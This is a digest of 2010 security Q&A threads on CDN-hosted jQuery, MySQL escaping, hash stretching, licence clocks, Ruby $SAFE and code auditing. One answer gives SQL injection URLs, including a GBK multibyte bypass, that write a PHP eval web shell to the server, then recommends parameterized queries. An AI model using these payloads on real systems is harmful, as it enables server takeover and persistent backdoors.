Best security questions in August 2010

How secure are CDNs for delivering jQuery?

17 votes

We build sites that have a public (non-secured) area and secured (delivered over HTTPS) area and we use jQuery library.

Recently I suggested we use Google CDN for jQuery delivery. Some of my colleagues expressed concerns in regards to security aspect of this way of delivering JavaScript libraries. For example, they mention the scenario where someone might hijack DNS server and then inject maliciously modified library, opening the door for different security attacks. Now, if hacker can inject malicious code through Google CDN, then he can probably do the same if jQuery is served from the site itself, right?

It seems that google CDN supports serving libraries over SSL.

Is serving jQuery from CDN really less secure then serving it from the server itself? How serious is this threat?

One way to mitigate the risk is to run a checksum against the file obtained from Google, and compare that to a known-good checksum already in your possession.

In response to a question about whether Google alters these files in any way, Google employee Ben Lisbakken suggested comparing MD5 checksums of a file provided by Google to the canonical version of that same file as obtained from its maintainers' home site. Read comment eight on the linked site for context.

If you're concerned about DNS hijacking, then of course the same concerns would apply to the file as obtained from the "original" site. You also probably don't want to incur the speed penalty of running a checksum against the jQuery file on every request -- unless you're incredibly paranoid. And of course, doing so would remove all advantages of using a CDN.

But assuming you're only somewhat paranoid, you could try something like this:

  • Make sure you're referencing a unique and specific version of the jQuery file from Google. For example, do this:

    http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js
    

    and not this:

    http://ajax.googleapis.com/ajax/libs/jquery/1.4/jquery.min.js
    

    The latter version may return 1.4.2 now, but 1.4.3 tomorrow. If you have a combination of http and https needs, you can use protocol-relative URLs, like this:

    //ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js
    
  • Initially generate and store your own checksum for this file.

  • Periodically repeat the process, and make sure the new checksum matches the old one. If it doesn't, sound the klaxons.

You can do this programmatically, of course. You decide what interval makes sense. Every minute? Every five? You now have the makings of an automatic kill-switch whose sensitivity you can adjust to your preference. The "monitor" routine certainly doesn't have to run synchronously within the application you're looking to secure; perhaps you run a small utility application on the same server just for this purpose.

It's easy enough to test: just alter the stored hash. Since you're referencing a specific file version, the panic button won't be pressed with every minor version update. When you do want to move to a new version of jQuery, change the AJAX API URL on your site and store the new hash.

Found a weak escape function for MySql, how to exploit?

13 votes

In an application I'm working on I've found a weak escape function to prevent injection. I'm trying to prove this, but I'm having trouble coming up with a simple example.

The escape function works as follows (PHP example).

function escape($value) {

  $value = str_replace("'","''",$value);
  $value = str_replace("\\","\\\\",$value);
  return $value;

}

I realize this doesn't deal with values encoded using double quotes ("), but all queries are constructed using single quotes (').

Who can defeat this escape function?

Requirements:

  • String in queries are always enclosed in quotes.
  • Double-quotes are never used.
  • MySQL connection is set to UTF8.

Simple examples:

$sql = "SELECT id FROM users WHERE username = '" . escape($username) . "' AND password = '" . escape($password) . "'";
$sql = "UPDATE users SET email = '" . escape($email) . "' WHERE id = '" . escape($id) . "'";

If you are just replacing ' with '' then you could exploit this by injecting a \' which will turn into a \'' and this will allow you to break out because this gives you a "character literal" single-quote and a real single-quote. However, the replacement of "\\" with "\\\\" negates this attack. The double-single-quote is used to "escape" single quotes for MS-SQL, but this isn't proper for MySQL, but it can work.

The following codes proves that this escape function is safe for all except three conditions. This code permutes though all possible variations of control charters, and testing each one to make sure an error doesn't occur with a single quote encased select statement. This code was tested on MySQL 5.1.41.

<?php
mysql_connect("localhost",'root','');
function escape($value) {

  $value = str_replace("'","''",$value);
  $value = str_replace("\\","\\\\",$value);
  return $value;

}

$chars=array("'","\\","\0","a");

for($w=0;$w<4;$w++){
    for($x=0;$x<4;$x++){
        for($y=0;$y<4;$y++){
            for($z=0;$z<4;$z++){
                mysql_query("select '".escape($chars[$w].$chars[$x].$chars[$y].$chars[$z])."'") or die("!!!! $w $x $y $z ".mysql_error());
            }       
        }
    }
}
print "Escape function is safe :(";
?>

Vulnerable Condition 1: no quote marks used.

mysql_query("select username from users where id=".escape($_GET['id']));

Exploit:

http://localhost/sqli_test.php?id=union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php"

Vulnerable Condition 2: double quote marks used

mysql_query("select username from users where id=\"".escape($_GET['id'])."\"");

Exploit:

http://localhost/sqli_test.php?id=" union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php" -- 1

Vulnerable Condition 2: single quotes are used, however an alternative character set is used..

mysql_set_charset("GBK")
mysql_query("select username from users where id='".escape($_GET['id'])."'");

Exploit:

http://localhost/sqli_test.php?id=%bf%27 union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php" -- 1

The conclusion is to always use mysql_real_escape_string() as the escape routine for MySQL. Parameterized query libraries like pdo and adodb always use mysql_real_escape_string() when connected to a mysql database. addslashes() is FAR BETTER of an escape routine because it takes care of vulnerable condition 2. It should be noted that not even mysql_real_escape_string() will stop condition 1, however a parameterized query library will.

Many hash iterations: append salt every time?

12 votes

I have used unsalted md5/sha1 for long time, but as this method isn't really secure (and is getting even less secure as time goes by) I decided to switch to a salted sha512. Furthermore I want to slow the generation of the hash down by using many iterations (e.g. 100).

My question is whether I should append the salt on every iteration or only once at the beginning. Here are the two possible codes:

Append every time:

    // some nice big salt
    $salt = hash($algorithm, $salt);

    // apply $algorithm $runs times for slowdown
    while ($runs--) {
        $string = hash($algorithm, $string . $salt, $raw);
    }

    return $string;

Append once:

    // add some nice big salt
    $string .= hash($algorithm, $salt);

    // apply $algorithm $runs times for slowdown
    while ($runs--) {
        $string = hash($algorithm, $string, $raw);
    }

    return $string;

I first wanted to use the second version (append once) but then found some scripts appending the salt every time.

So, I wonder whether adding it every time adds some strength to the hash. For example, would it be possible that an attacker found some clever way to create a 100timesSha512 function which were way faster than simply executing sha512 100 times?

In short: Yes. Go with the first example... The hash function can lose entropy if feed back to itself without adding the original data (I can't seem to find a reference now, I'll keep looking).

And for the record, I am in support of hashing multiple times.

A hash that takes 500 ms to generate is not too slow for your server (considering that generating hashes are typically not done the vast majority of requests). However a hash that takes that long will significantly increase the time it will take to generate a rainbow table...

Yes, it does expose a DOS vulnerability, but it also prevents brute force attacks (or at least makes them prohibitively slow). There is absolutely a tradeoff, but to some the benefits exceed the risks...

A reference (more like an overview) to the entire process: Key Strengthening

As for the degenerating collisions, the only source I could find so far is this discussion...

And some more discussion on the topic:

  1. HEKS Proposal
  2. SecurityFocus blog on hashing
  3. A paper on Oracle's Password Hashing Algorithms

And a few more links:

  1. PBKDF2 on WikiPedia
  2. PBKDF2 Standard
  3. A email thread that's applicable
  4. Just Hashing Is Far From Enough Blog Post

There are tons of results. If you want more, Google hash stretching... There's tons of good information out there...

How to protect software from system date-time changes?

8 votes

I would like to add licensing system to application. For example: user buys license for 1 month and after that program expires (Kinda Anti-Virus style?).

Problem is that application is supposed to run in systems which may or may not be connected to internet, so how to protect from date-time changes?

Storing app startup and close times in encrypted file won't work as date can be changed (with program uptime of 8 hours per day, would be possible to extend license to almost 300% in ideal case - change time to app close time + 1 second before launching program).

Another question - is there any way to protect from software like http://en.wikipedia.org/wiki/Deep_Freeze_(software)? (maybe scan drivers?)

EDIT:
I'm currently using smart card to store licensing information and will use code virtualizer on critical functions (I know about making breakpoints on API calls and inspecting passed data - don't need to hide that data, just to ensure things go as planned)

Step 1: Create trial_tracker entry in an encrypted format in a windows registry and in file.

Step 2: Assign app install timestamp ( yyyy-mm-dd-hh-mm-ss ) to trial_tracker

Whenever app starts, check if current system timestamp is greater than trial_tracker and less then expected expiry date

  • If yes, update trial_tracker to current system timestamp and continue.

  • If no, trial_tracker has been tampered or trial time expired. Ask user to purchase full version or exit.

Note: User can get away with this by deleting windows registry entry and encrypted file.( if he is able to find them ). In such case, further checks can be added. For example create secondary windows registry entry which checks for existence of primary registry and encrypted file.

Along with these, additional remote checks can be applied which depends on internet connection ( optional )

What vulnerabilities are possible in ruby with $SAFE >= 1?

8 votes

Ruby's safe mode disallows the use of tainted data by potentially dangerous operations. It varies in levels, 0 being disabled, and then 1-4 for levels of security. What vulnerabilities are possible when safe mode is enabled? Do you know of any CVE numbers issued to a ruby program when safe mode is enabled? What CWE Violations (or cwe families) are possible with safe mode enabled?

All application-level vulnerabilities are completely unaffected by the $SAFE level. Injection attacks that don't pass through an "unsafe operation" like cross-site scripting and SQL injection for example. This includes, more or less, every vulnerability class for web applications, except perhaps local and remote file inclusion. See the OWASP Top 10, $SAFE doesn't help with many of these.

The $SAFE level does protect you somewhat against system-level vulnerabilities though. If an attacker is able to write Ruby code into a file in /tmp, they wouldn't then be able to trick your program into loading that code if $SAFE >= 2.

And this of course doesn't include any vulnerabilities with Ruby itself. These are much more serious, and can bypass $SAFE entirely.

Or plain old buffer overflows, integer overflows, etc in the Ruby interpreter itself that have nothing to do with $SAFE.

Rails has a history vulnerabilities that occur whether $SAFE is enabled or not. This is complicated by the fact that user input is stored in Rails applications, and malicious data can pop back up at a later time.

Vulnerability reports in Ruby applications other than Rails and MRI are hard to come by.

Another big problem with $SAFE is there is no real list (that I know of) that outlines exactly what $SAFE does and doesn't protect. About the only thing you can do is search for *ruby_safe_level* in eval.c (this is an older eval.c from 1.8.4). The comments provide this description, but it's pretty vague.

/* safe-level:
   0 - strings from streams/environment/ARGV are tainted (default)
   1 - no dangerous operation by tainted value
   2 - process/file operations prohibited
   3 - all generated objects are tainted
   4 - no global (non-tainted) variable modification/no direct output
*/

I guess what I'm trying to say is that $SAFE is all about system security. It does an OK job, but there's no real way to know exactly what is and is not protected. It shouldn't be your only line of defense, it's more of a safety net so nothing slips through to an "unsafe operation." On the other hand, it has nothing to do with application security, and won't save your data or users from being compromised. And on top of that, MRI has a history of vulnerabilities that bypass $SAFE entirely.

Finding security problems in a given code

8 votes

Can some one please tell me an approach for finding security flaws in a given code. For ex: in a given socket program. Any good examples or good book recommendations are welcome.

Thanks & Regards,

Mousey

The lowest hanging fruit in this category would be to simply search the source for functions which are commonly misused or are difficult use safely such as:

  • strcpy
  • strcat
  • sprintf
  • gets

then start looking at ones that are not inherintly too bad, but could be misused. Particularly anything that writes to a buffer can potentially be hazardous if misused.

  • memcpy
  • memmove
  • recv/read
  • send/write
  • the entire printf family should always have a constant for the format string

NOTE: all of these (except gets) can be used correctly, so don't think it's a flaw just because the function is used, instead take a look at how it is used. Also note that gets is always a flaw.

NOTE2: this list is not exhaustive, do a little research about commonly misused functions and how they can be avoided.

As far as tools, I recommend things like valgrind and splint

Is there any way to prevent AJAX pages from being viewed alone in a browser?

6 votes

For example, when I want to update a part of my page with AJAX I would normally make the appropriate call to getPost.php which would return the markup to be inserted into my page. Is there any way to prevent a user from accessing this page directly (eg: example.com/getPost.php with the appropriate GET or POST arguments) and getting only part of the page since this should be used with AJAX as part of a whole, not alone?

I don't think permissions can be set on the file since it's the client requesting the page but is there a way to do this by passing an extra argument that can serve as a check digit of sorts.

You could take a look at the request headers and enforce that a header must be set for AJAX requests (often people use X-Requested-With with a value like XMLHttpRequest). Be aware that this header won't be set unless you set it yourself when you make your AJAX request (or use a Javascript library that does it automatically). However, there is no way to guarantee that someone wouldn't add in that header on their own if they wanted to.

The X-Requested-With header value can be found in $_SERVER['HTTP_X_REQUESTED_WITH'].